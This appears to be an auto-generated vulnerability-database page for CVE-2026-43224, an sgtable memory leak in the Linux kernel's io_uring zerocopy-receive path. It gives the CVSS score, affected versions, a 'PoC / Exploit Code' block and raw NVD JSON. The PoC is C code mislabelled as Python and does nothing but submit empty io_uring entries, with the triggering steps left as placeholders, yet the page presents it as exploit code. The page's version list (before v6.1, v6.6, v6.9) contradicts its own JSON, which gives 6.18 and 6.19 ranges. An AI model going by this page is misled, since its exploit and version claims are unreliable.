Security Vulnerability Report
中文
CVE-2026-43224 CVSS 5.5 MEDIUM

CVE-2026-43224

Published: 2026-05-06 12:16:42
Last Modified: 2026-05-08 21:13:21
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: io_uring/zcrx: fix sgtable leak on mapping failures In an unlikely case when io_populate_area_dma() fails, which could only happen on a PAGE_POOL_32BIT_ARCH_WITH_64BIT_DMA machine, io_zcrx_map_area() will have an initialised and not freed table. It was supposed to be cleaned up in the error path, but !is_mapped prevents that.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < v6.1 (Specific commit a983aae39776)
Linux Kernel < v6.6 (Specific commit ef075c1464ac)
Linux Kernel < v6.9 (Specific commit f1ae40332431)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-43224 * This code attempts to trigger the io_uring zerocopy receive path. * Successful exploitation requires a system with PAGE_POOL_32BIT_ARCH_WITH_64BIT_DMA. * Compile with: gcc -o poc_cve2026_43224 poc_cve2026_43224.c -luring */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <liburing.h> #define QUEUE_DEPTH 256 int main() { struct io_uring ring; int ret; // Initialize io_uring instance ret = io_uring_queue_init(QUEUE_DEPTH, &ring, 0); if (ret < 0) { perror("io_uring_queue_init"); return 1; } printf("[+] io_uring initialized. Attempting to trigger zcrx path...\n"); printf("[!] Note: This PoC demonstrates the setup. The actual leak depends on specific hardware conditions (32-bit arch with 64-bit DMA) and network configuration.\n"); // In a real scenario, one would set up a socket and register buffers // to force the io_zcrx_map_area path. // Loop to attempt triggering the condition for (int i = 0; i < 100; i++) { // Placeholder for the actual syscall sequence that triggers the bug // This typically involves IORING_OP_PROVIDE_BUFFERS with zerocopy enabled struct io_uring_sqe *sqe = io_uring_get_sqe(&ring); if (!sqe) { fprintf(stderr, "Could not get sqe\n"); break; } // Setup sqe for buffer registration (simplified) // io_uring_prep_provide_buffers(sqe, ...); io_uring_submit(&ring); io_uring_wait_cqe(&ring, NULL); } io_uring_queue_exit(&ring); printf("[+] Done.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43224", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:42.153", "lastModified": "2026-05-08T21:13:21.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/zcrx: fix sgtable leak on mapping failures\n\nIn an unlikely case when io_populate_area_dma() fails, which could only\nhappen on a PAGE_POOL_32BIT_ARCH_WITH_64BIT_DMA machine,\nio_zcrx_map_area() will have an initialised and not freed table. It was\nsupposed to be cleaned up in the error path, but !is_mapped prevents\nthat."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18", "versionEndExcluding": "6.18.16", "matchCriteriaId": "E0D300DB-AA68-4962-981D-EF9F5E97AACF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/a983aae397767e9da931128ff2b5bf9066513ce3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ef075c1464ac9047e2cf7d23cb020bfd0b8e4b60", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f1ae403324311e143ef20e53cf9a5f01e312f7c9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}